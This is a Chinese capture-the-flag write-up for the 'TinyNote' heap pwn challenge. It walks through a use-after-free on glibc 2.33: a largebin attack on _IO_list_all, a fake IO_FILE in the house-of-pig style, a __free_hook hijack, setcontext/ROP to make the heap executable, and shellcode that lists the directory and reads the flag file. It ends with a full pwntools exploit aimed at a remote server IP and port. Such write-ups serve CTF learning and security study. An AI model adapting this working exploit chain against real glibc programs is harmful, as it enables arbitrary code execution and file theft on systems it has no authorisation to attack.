前言
在刚结束的西湖论剑线上赛中,有一道挺有意思的 Pwn 题——TinyNote,考察了许多关于高版本的 libc 堆知识,比赛的时候已经可以执行 shellcode,可惜最后没来得及找到 flag 文件2333333,这里给各位师傅分享一下我的解题思路。
一、题目分析
首先,我们来分析一下题目。
题目使用了沙箱,禁用了 execve
:
IDA 静态分析,很容易就发现题目的 delete
函数存在 UAF 漏洞:
不过,题目除了使用沙箱以外,在 malloc 的时候还增加了一道防护措施:
也就是说,我们不能 malloc 到堆的第一页以外位置的 chunk ,否则就会检测不通过,直接 exit
。
二、思路分析
首先,题目使用的是 malloc,而且申请的大小固定为 0x10,这就没有使用 tcache stashing unlink attack
的可能了。另外,题目限制了申请的 chunk 必须在堆内存的第一页,这样 tcache
相关的攻击手段也就失效了。但是,题目还开启了沙箱,也就意味着我们需要使用 orw
或 mprotect
,那就必须要执行 setcontext
,而要执行 setcontext
就必须想办法劫持 __free_hook
。这似乎与只能 malloc 在堆内存的第一页的 chunk 相矛盾,除非我们能够从其他地方执行 malloc 并分配到 __free_hook
,联想到 add
函数检测失败的 exit
,我们很快就会想到 house of pig 。
这里,先简述一下我的思路(这里显示不出标号,以句号结尾作为分段的标志):
- 使用 UAF 泄露出 heap 基址。
- 使用 UAF 修改 tcache bin 的数量,然后得到一个 0x240
unsorted chunk
(先不释放)。 - 通过风水堆分布,得到一个 0x450 和 0x440 的
unsorted chunk
。 - 释放
unsorted chunk
,泄露libc
基址,并将那俩unsorted chunk
转换成large chunk
,实现 largebin attack,改写_IO_list_all
。 - 通过多次 UAF 来进行
tcache chunk
的任意写,将放入_IO_list_all
的large chunk
变成一个IO_FILE
。 - 见缝插针地利用已有的
tcache chunk
,插入相关gadget
所需参数,为后续setcontext
劫持rsp
所需的参数做好准备。 - 再次通过多次 UAF 将 ROP 链布置好,执行 read 写到
glibc
的bss
段上并劫持rsp
到bss
段上。 - 通过 UAF 将
__free_hook
放到合适的tcache bin
中,为后续的house of pig
做准备。 - 触发
exit
退出主函数,进而执行到_IO_str_overflow
,劫持__free_hook
并执行 ROP,最终成功将rsp
劫持到bss
段上。 - 最后,ROP 执行
mprotect
将heap
变成 RWX 并写入 shellcode,然后劫持程序执行流即可,然后获取 flag 文件名并读取 flag 即可。。
三、解题过程
1、泄露 heap 基址
在 libc 2.32 版本之后,对 tcache 增加了一个异或保护机制,具体原理可以看这篇文章。简单来说,tcache->fd
的值现在是 (&tcache->fd >> 12) ^ target
,这个 target
就是指向上一个 chunk
(按照 tcache 后进先出的顺序来看的话)。
这种机制,虽然增加了传统的堆漏洞利用难度,但却使得 heap 泄露更加简单了,只需要一个 chunk
即可。
add(0)
delete(0)
show(0)
heap_addr = u64(rr(5).ljust(0x8, b'\x00')) << 12
log.success('heap_addr: 0x%x', heap_addr)
2、得到 unsorted chunk
构造 unsorted chunk 其实并不难,我们只要将 0x240
的 tcache number
填满,并添加一个 0x240
的 size
即可。这里,有师傅可能会问:
- 为什么要选择
0x240
的unsorted chunk
而不是其他的呢? - 为什么不直接风水出一个
0x410
以上的chunk
并释放掉呢?
先说第一个问题,我们来看一下内存分布,unsorted chunk
对应的位置是 heap_addr + 0x50
:
可以看到,unsorted chunk
首部就在其对应的 tcache number
的位置,也就是我们只需要构造一次任意写即可完成修改 number
和构造首部的操作。此外,我们可以往下看,我们之后申请 chunk,并不会覆盖到 0x20
指向的 tcachebin
所在位置,从而就无需后续再通过任意写来调整。最重要的一点,我们之后的所有 UAF 利用需要使用到的 chunk
数量刚好可以被这个 unsorted chunk
满足,确保了堆内存的足够利用。同时,这也可以回答第二个问题了,因为堆内存可能一不小心就不够用,需要额外的精力去维护堆分布。
add(0)
add(1)
delete(0)
show(0)
heap_addr = u64(rr(5).ljust(0x8, b'\x00')) << 12
log.success('heap_addr: 0x%x', heap_addr)
length = 0x240
start = heap_addr + 0x240
end = start + ((length) - 100)//2
delete(1)
poc = ((heap_addr+0x2c0) >> 12) ^(heap_addr+0x50) # 指向 unsorted chunk 首部
edit(1, p64(poc))
add(0)
add(1)
edit(1, p8(8)*8 + p64(0x241)) # 任意写修改数量并构造首部
delete(0) # 回收 chunk,节省利用已有的 chunk
add(0)
add(1)
delete(0)
delete(1)
poc = ((heap_addr+0x2e0)>>12) ^ (heap_addr+0x60) # 指向 unsorted chunk 首部
edit(1, p64(poc))
add(1)
add(0) # unsorted_chunk: heap+0x10 ---> 得到 unsorted chunk
log.success('unsorted_chunk: 0x%x', heap_addr+0x60)
delete(1) # 回收 chunk,节省利用已有的 chunk
这里,为了节省 chunk,就将其和泄露 heap 基址的步骤合到了一起。
3、风水堆分布,获得两个 large chunk
这里,我们需要风水堆分布,分别构造出 0x450
和 0x440
的 large chunk,内存分布为:
- 第一个 large chunk:
0x20 --> 0x450 --> 0x20 --> top chunk
- 第二个 large chunk:
0x20 --> 0x440 --> 0x30 --> top chunk
add(1)
edit(1, mchunk_size(0x21))
add(1)
edit(1, mchunk_size(0x451))
for i in range(0x22):
add(1)
add(1)
add(2)
delete(1)
delete(2)
poc = ((heap_addr+0x780)>>12) ^ (heap_addr+0x310)
edit(2, p64(poc))
add(2)
add(1) # 得到一个 0x450 的 chunk,首部位于 heap_addr+0x300
log.success('large chunk No.1: 0x%x', heap_addr+0x300)
delete(2) # 回收刚刚利用的 chunk
add(2)
edit(2, mchunk_size(0x21))
add(2)
edit(2, mchunk_size(0x441))
add(2)
add(2)
for i in range(0x1f):
add(2)
add(2)
edit(2, mchunk_size(0x31))
add(2)
delete(0)
show(0)
libc.address = u64(rr(8)) - 0x1e0c00
log.success('libc_addr: 0x%x', libc.address)
add(0)
delete(0)
delete(2)
poc = ((heap_addr+0xc00)>>12)^((heap_addr+0x7b0))
edit(2, p64(poc))
add(0)
add(2) # 得到一个 0x440 的 chunk,首部位于 heap_addr+0x7a0
log.success('large chunk No.2: 0x%x', heap_addr+0x7a0)
delete(0) # 回收刚刚利用的 chunk
由于我们实现任意写,需要连续申请两个 tcache chunk
,所以在构造第二个 large chunk
的时候,我们需要将 unsorted chunk
释放掉,将存储的位置空闲出来,那么这个过程便可顺势将 libc
基址获取到。
4、largebin attack
接下来,我们就需要实施 largebin attack
了。这里,可能有师傅会问:我们每次只能申请到 0x10 的 chunk,怎么让这两个 large chunk
进入到 large bin
呢?这里,主要利用到一个比较少见的方法。
很多师父学习 largebin attack
应该都是参考这篇文章,示例代码如下:
#include<stdio.h>
#include<stdlib.h>
#include<malloc.h>
int main(){
void *p1, *p2, *p3;
p1 = malloc(0x438);
malloc(0x18);
free(p1); // p1 ---> 0x438 unsorted chunk
p2 = malloc(0x448); // p1 ---> 0x438 large chunk
}
只要我们申请的 chunk 的 size
比 unsorted chunk
的 size
大,那么原本的 unsorted chunk
就会被放入 small chunk
或 large chunk
。
但其实还有种情况:当存在两个 unsorted chunk
时(p2---> p1 ---> main_arena
),当我们申请 chunk
时,ptmalloc
就会先将 p2
放入 large chunk
,然后再切割 p1
去分配 chunk
,示例代码:
#include<stdio.h>
#include<stdlib.h>
#include<malloc.h>
int main(){
void *p1, *p2, *p3;
p1 = malloc(0x438);
malloc(0x18);
p2 = malloc(0x448);
maloc(0x18);
free(p1); // p1 ---> 0x438 unsorted chunk
free(p2); // p2 ---> 0x448 unsorted chunk
malloc(0x18); // p2 ---> 0x448 large chunk
}
只要了这点之后,我们就可以将刚刚的两个 large chunk
放入 large bin
,从而实现 largebin attack
了。
delete(1) # 释放掉第一个 large chunk
add(0)
add(1) # 第一个 large chunk 放入 large bin
delete(0)
delete(1)
poc = ((heap_addr+0x80)>>12)^((heap_addr+0x320)) # 指向第一个 large chunk 的 fd_nextsize 和 bk_nextsize
edit(1, p64(poc))
add(0)
add(1)
target = _IO_list_all - 0x20
edit(1, p64(heap_addr+0x300)+p64(target)) # 修改 b_nextsize 指向 _IO_list_all - 0x20
delete(0)
delete(2) # 释放掉第二个 large chunk
add(0)
add(0) # 攻击成功,成功将第二个 large chunk 写入 _IO_list_all
我们不妨来看看,第一个 large chunk 的入链过程:
5、构造 FAKE IO_FILE
这里参考 house of pig 最后的 Poc:
fake_IO_FILE = 2*p64(0)
fake_IO_FILE += p64(1) #change _IO_write_base = 1
fake_IO_FILE += p64(0xffffffffffff) #change _IO_write_ptr = 0xffffffffffff
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(heap_base+0x148a0) # _IO_buf_base
fake_IO_FILE += p64(heap_base+0x148b8) # _IO_buf_end
fake_IO_FILE = fake_IO_FILE.ljust(0xb0, '\x00')
fake_IO_FILE += p64(0) #change _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, '\x00')
fake_IO_FILE += p64(IO_str_vtable) #change vtable
利用多次的 UAF 对第二个 large chunk 进行修改,最终构造结果如下:
这里,我们需要关注的是红色框标注的两个值,它们分别代表 _IO_buf_base
和 _IO_buf_end
,具体作用我们看下 _IO_str_overflow
的源码:
int
_IO_str_overflow (FILE *fp, int c)
{
... ...
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp); // _IO_buf_end - _IO_buf_base
size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf = malloc (new_size);
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);
free (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
... ...
}
可以看到,_IO_base_buf
就是 memcpy
的源内存区域,复制的长度满足 2 * old_blen + 100
的关系。所以,为了方便期间,我们可以先用两个变量来代表它们,并计算好长度:
length = 0x240
start = heap_addr + 0x240
end = start + ((length) - 100)//2
显然,我们需要劫持 __free_hook
,就要确保 gadget
被复制到 __free_hook
。这里,我们可以找一个合适的位置存放 gadget
,并用 start
提前存储好它的位置。
6、布置 setcontext 的数据
从 libc 2.31
看是,setcontext
的代码发生了变化,不再是使用 rdi
而是使用了 rdx
:
因此,我们需要先想办法修改 rdx
,这里需要使用到一个 gadget
:
mov rdx, qword ptr [rdi + 8] ;
mov qword ptr [rsp], rax ;
call qword ptr [rdx + 0x20]
联想到,free 的变量是 rdi
,也就是 _IO_base_buf
。前面提到,我这里存储的是 heap_addr+0x240
的地址,因此,我们在 heap+0x240
中存放一个合适的地址值,使其满足:
[rdx+0x20] ----> setcontext+61
[rdx+0xa0] ----> 我们劫持的栈帧
[rdx+0xa8] ----> 第一条 ROP 指令
这里,我挑选的位置 rdx
值为 heap+0x40
,因为这个位置及不会影响 0x20
的 tcachebin
,也不会影响后续存放 ROP
链,以及最终劫持 __free_hook
所需的 tcache bin
。那么,我们就见缝插针,在前面的步骤中,将这些值存放进去即可,具体可以看最后的 EXP。
7、将 free_hook 放入 tcache bin
这个和前面的步骤一样,将 0x240
的 tcachebin
写入 __free_hook
即可(加上首部是 0x250
)。
add(0)
add(1)
delete(0)
delete(1)
poc = ((heap_addr+0x180)>>12) ^ (heap_addr+0x850)
edit(1, p64(poc))
add(0)
add(1)
edit(1, p64(0) + p64(0))
delete(0)
add(2)
add(2)
edit(2, p64(0)+p64(free_hook))
8、构造 ROP 链
最后,就是要构造 ROP 链来执行 read
并将 rsp
劫持到我们写入的位置,这样可以方便我们后续的操作。这里,我选择的位置是 heap+0x1c0
,构造方法同样是用 UAF,最终构造出来的 ROP 链如下:
这里,可能有师傅会问,这里怎么少了 pop rdi
呢?还记得前面提到的 setcontext
吗?
[rdx+0x20] ----> setcontext+61
[rdx+0xa0] ----> 我们劫持的栈帧
[rdx+0xa8] ----> 第一条 ROP 指令
没错,pop rdi
就是放到这里。
9、劫持 rsp 和 rip
最后,我们只需要想办法触发 exit
,那么我们就往 0x20
的 tcache bin
上放入 __free_hook
,然后再申请它即可(顺便一提,到这里刚刚好就把 unsorted chunk
用完了)。
add(1)
add(2)
delete(1)
delete(2)
poc = ((heap_addr+0x280)>>12) ^ (free_hook) # 放入 free_hook 到 0x20 的 tcache bin 中
edit(2, p64(poc))
add(1)
add(2) # 触发 exit
至此,我们就成功劫持 rsp
和 rip
了。
当然,最后出题人并不打算让我们直接 orw
获取 flag,还需要获取文件名,文件名每次随机生成的,格式位 haha_flag_xxxxx
。
这里,为了方便,我就直接执行 mprotect
把 heap
内存区变成 RWX
,然后执行 shellcode 获取文件名,最后读取文件即可。
filename_addr = new_stack + 0x8 * 27
poc = b''
poc += p64(pop_rdi)
poc += p64(heap_addr)
poc += p64(pop_rsi)
poc += p64(0x4000)
poc += p64(pop_rdx)
poc += p64(7)
poc += p64(libc.sym['mprotect'])
poc += p64(pop_rdi)
poc += p64(0)
poc += p64(pop_rsi)
poc += p64(heap_addr)
poc += p64(pop_rdx)
poc += p64(0x100)
poc += p64(libc.sym['read'])
poc += p64(heap_addr)
s(poc)
shellcode = b''
shellcode += asm(shellcraft.open('./'))
shellcode += asm(shellcraft.getdents64(3, read_buf, 0x400))
shellcode += asm(shellcraft.write(1,read_buf, 0x400))
shellcode += asm('''
mov rdi, 0; mov rsi, 0x%x;mov rdx, 0x100;mov rax, 0; syscall; push rsi; ret;
''' % (heap_addr+0x100))
s(shellcode)
if local:
r()
filename = '/flag'
else:
ru(b'haha_')
filename = 'haha_'+rr(10).decode()
r()
r()
shellcode = asm(shellcraft.cat(filename))
s(shellcode)
log.success('flag: %s', ru(b'}').decode())
至此,我们就完成了这道题目的解答。
四、完整 EXP
由于整个做题过程比较混乱,我在 EXP 中添加了许多注释,供师傅们查看。
#encoding:utf-8
from pwn import *
import re
ip = '82.157.6.175'
port = 24200
local = 0
filename = './TinyNote'
PREV_INUSE = 0x1
IS_MMAPPED = 0x2
NON_MAIN_ARENA = 0x4
def create_connect():
global io, elf, libc, libc_name
elf = ELF(filename)
context(os=elf.os, arch=elf.arch)
if local:
io = process(filename)
if elf.arch == 'amd64':
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
elif elf.arch == 'i386':
libc_name = '/lib/i386-linux-gnu/libc.so.6'
else:
io = remote(ip, port)
try:
libc_name = 'libc-2.33.so'
libc = ELF(libc_name)
except:
pass
cc = lambda : create_connect()
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)
sa = lambda x, y: io.sendafter(x, y)
g = lambda x: gdb.attach(io, x)
r = lambda : io.recv(timeout=1)
rr = lambda x: io.recv(x, timeout=1)
rl = lambda : io.recvline(keepends=False)
ru = lambda x : io.recvuntil(x)
ra = lambda : io.recvall(timeout=1)
it = lambda : io.interactive()
cl = lambda : io.close()
def add(idx):
sa(b'Choice:', b'1')
sa(b'Index:', str(idx).encode())
def edit(idx, content):
sa(b'Choice:', b'2')
sa(b'Index:', str(idx).encode())
sa(b'Content:', content.encode() if isinstance(content, str) else content)
def show(idx):
sa(b'Choice:', b'3')
sa(b'Index:', str(idx).encode())
ru(b'Content:')
def delete(idx):
sa(b'Choice:', b'4')
sa(b'Index:', str(idx).encode())
def mchunk_size(size):
return p64(0) + p64(size)
def pwn():
cc()
add(0)
add(1)
delete(0)
show(0)
heap_addr = u64(rr(5).ljust(0x8, b'\x00')) << 12
log.success('heap_addr: 0x%x', heap_addr)
# 提前记录好 _IO_buf_base 和 _IO_buf_end 的相关参数
length = 0x240
start = heap_addr + 0x240
end = start + ((length) - 100)//2
delete(1)
poc = ((heap_addr+0x2c0) >> 12) ^(heap_addr+0x50)
edit(1, p64(poc))
add(0)
add(1)
# 修改 0x240 的 tcache 数量,并构造好首部
edit(1, p8(8)*8 + p64(0x241))
delete(0)
add(0)
add(1)
delete(0)
delete(1)
# 将 fd 指向刚刚构造好的 0x240 chunk
poc = ((heap_addr+0x2e0)>>12) ^ (heap_addr+0x60)
edit(1, p64(poc))
add(1)
add(0) # unsorted_chunk: heap+0x10
log.success('unsorted_chunk: 0x%x', heap_addr+0x60)
delete(1)
add(1)
edit(1, mchunk_size(0x21))
add(1)
edit(1, mchunk_size(0x451))
for i in range(0x22):
add(1)
add(1)
add(2)
delete(1)
delete(2)
poc = ((heap_addr+0x780)>>12) ^ (heap_addr+0x310)
edit(2, p64(poc))
add(2)
# 获得第一块 largebin_chunk,地址为 heap+0x300
add(1)
log.success('large chunk No.1: 0x%x', heap_addr+0x300)
delete(2)
add(2)
edit(2, mchunk_size(0x21))
add(2)
edit(2, mchunk_size(0x441))
add(2)
add(2)
# 这里提前将 _IO_buf_end 的值填上
edit(2, p64(end))
for i in range(0x1f):
add(2)
add(2)
edit(2, mchunk_size(0x31))
add(2)
delete(0)
show(0)
libc.address = u64(rr(8)) - 0x1e0c00
log.success('libc_addr: 0x%x', libc.address)
_IO_list_all = libc.sym['_IO_list_all']
_IO_str_jumps = libc.address + 0x1e2560
free_hook = libc.address + 0x1e3e20
_IO_str_overflow = libc.address + 0x8fbb0
setcontext = libc.address + 0x529ad
# 0x000000000014a0a0 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
hijack_rsp = libc.address + 0x14a0a0
# 0x0000000000028a55 : pop rdi ; ret
pop_rdi = libc.address + 0x28a55
# 0x000000000002a4cf : pop rsi ; ret
pop_rsi = libc.address + 0x2a4cf
# 0x00000000000c7f32 : pop rdx ; ret
pop_rdx = libc.address + 0xc7f32
# 0x0000000000044c70 : pop rax ; ret
pop_rax = libc.address + 0x44c70
# 0x000000000006105a: syscall; ret;
syscall = libc.address + 0x6105a
# 0x59020 : mov rsp, rdx ; ret
mov_rdx_rsp = libc.address + 0x59020
# 0x0000000000033af2 : pop rsp ; ret
pop_rsp = libc.address + 0x33af2
ret = libc.address + 0x26699
mprotect = libc.sym['mprotect']
new_stack = libc.bss()
read_buf = libc.bss() + 0x200
add(0)
delete(0)
delete(2)
# heap_addr + 0x60 对应 [rdx + 0x20] 的位置,放置 setcontext+61 的地址
edit(0, p64(setcontext))
poc = ((heap_addr+0xc00)>>12)^((heap_addr+0x7b0))
edit(2, p64(poc))
add(0)
# 获得第二块 largebin_chunk,地址为 heap+0x300
add(2)
log.success('large chunk No.2: 0x%x', heap_addr+0x7a0)
delete(0)
delete(1)
add(0)
# 第一个 large chunk 入链
add(1)
delete(0)
delete(1)
poc = ((heap_addr+0x80)>>12)^((heap_addr+0x320))
edit(1, p64(poc))
add(0)
add(1)
target = _IO_list_all - 0x20
# 布置好 largebin attack 使用的 Poc
edit(1, p64(heap_addr+0x300)+p64(target))
delete(0)
delete(2)
add(0)
# 第二个 large chunk 入链,写入 _IO_list_all
add(0)
edit(1, p64(heap_addr+0x300)+p64(heap_addr+0x300))
edit(2, p64(0)+p64(0))
add(0)
add(1)
delete(1)
# heap_addr + 0xe0 -----> mov rsp, [rdx + 0xa0]
# heap_addr + 0xe8 -----> mov rcx, [rdx + 0xa8]; push rcx
# 这里我们就可以放入第一条 ROP 指令
edit(1, p64(heap_addr+0x1c0)+p64(pop_rdi))
delete(0)
poc = ((heap_addr+0xe0)>>12) ^ (heap_addr+0x870)
edit(0, p64(poc))
add(0)
add(1)
# 修改 FAKE IO_FILE 的 vtable 为 _IO_str_jumps
edit(1, p64(0)+p64(_IO_str_jumps))
delete(0)
add(0)
add(1)
delete(0)
delete(1)
poc = ((heap_addr+0x100)>>12) ^ (heap_addr+0x7d0)
edit(1, p64(poc))
add(0)
add(1)
# 填充 FAKE IO_FILE,写入 _IO_buf_base
edit(1, p64(0) + p64(start))
delete(0)
add(0)
add(1)
delete(0)
delete(1)
poc = ((heap_addr+0x120)>>12) ^ (heap_addr+0x7f0)
edit(1, p64(poc))
add(0)
add(1)
# 填充 FAKE IO_FILE
edit(1, p64(0) + p64(0))
delete(0)
add(0)
add(1)
delete(0)
delete(1)
poc = ((heap_addr+0x140)>>12) ^ (heap_addr+0x810)
edit(1, p64(poc))
add(0)
add(1)
# 填充 FAKE IO_FILE
edit(1, p64(0) + p64(0))
delete(0)
add(0)
add(1)
delete(0)
delete(1)
poc = ((heap_addr+0x160)>>12) ^ (heap_addr+0x830)
edit(1, p64(poc))
add(0)
add(1)
# 填充 FAKE IO_FILE
edit(1, p64(0) + p64(0))
delete(0)
add(0)
add(1)
delete(0)
delete(1)
poc = ((heap_addr+0x180)>>12) ^ (heap_addr+0x850)
edit(1, p64(poc))
add(0)
add(1)
edit(1, p64(0) + p64(0))
delete(0)
add(2)
add(2)
edit(2, p64(0)+p64(free_hook))
# heap_addr + 0x1c0
add(0)
add(1)
delete(0)
# heap_addr + 0x1c0: 0, pop rsi
edit(0, p64(0)+p64(pop_rsi))
delete(1)
poc = ((heap_addr+0x1e0)>>12) ^ (heap_addr+0x1d0)
edit(1, p64(poc))
add(0)
# heap_addr + 0x1e0: 0x100, &read
edit(0, p64(0x100)+p64(libc.sym['read']))
add(1)
# heap_addr + 0x1d0: new_stack, pop rdx
edit(1, p64(new_stack)+p64(pop_rdx))
add(0)
add(1)
delete(0)
delete(1)
poc = ((heap_addr+0x220)>>12) ^ (heap_addr+0x1f0)
edit(1, p64(poc))
add(1)
add(2)
# heap_addr + 0x1f0: pop rsp, &new_stack
edit(2, p64(pop_rsp)+p64(new_stack))
edit(1, p64(new_stack))
add(0) # heap_addr + 0x240
edit(0, p64(hijack_rsp)+p64(heap_addr+0x40))
# 第一个对应的就是拷贝到 free_hook 的 gadget 地址,执行 gadget
# 第二个对应的就是 mov rdx, qword ptr [rdi+8]
add(1)
add(2)
delete(1)
delete(2)
poc = ((heap_addr+0x280)>>12) ^ (free_hook)
edit(2, p64(poc))
add(1)
add(2)
filename_addr = new_stack + 0x8 * 27
# 第一段 ROP:执行 mprotect,将 heap 内存区域变成 RWX
poc = b''
poc += p64(pop_rdi)
poc += p64(heap_addr)
poc += p64(pop_rsi)
poc += p64(0x4000)
poc += p64(pop_rdx)
poc += p64(7)
poc += p64(libc.sym['mprotect'])
# 第二段 ROP:将 shellcode 写入 heap 并跳转执行
poc += p64(pop_rdi)
poc += p64(0)
poc += p64(pop_rsi)
poc += p64(heap_addr)
poc += p64(pop_rdx)
poc += p64(0x100)
poc += p64(libc.sym['read'])
poc += p64(heap_addr)
s(poc)
# 获取 flag 文件名
shellcode = b''
shellcode += asm(shellcraft.open('./'))
shellcode += asm(shellcraft.getdents64(3, read_buf, 0x400))
shellcode += asm(shellcraft.write(1,read_buf, 0x400))
shellcode += asm('''
mov rdi, 0; mov rsi, 0x%x;mov rdx, 0x100;mov rax, 0; syscall; push rsi; ret;
''' % (heap_addr+0x100))
s(shellcode)
if local:
r()
filename = '/flag'
else:
ru(b'haha_')
filename = 'haha_'+rr(10).decode()
r()
r()
# 获取 flag
shellcode = asm(shellcraft.cat(filename))
s(shellcode)
log.success('flag: %s', ru(b'}').decode())
# DASCTF{9d0e060bc2becb1514235e96fd121161}
cl()
if __name__ == '__main__':
pwn()
最后,放一张结果图:
以上便是我的整个解题过程,如果其中有讲得不对的地方,望各位师傅批评指正。
发表评论
您还未登录,请先登录。
登录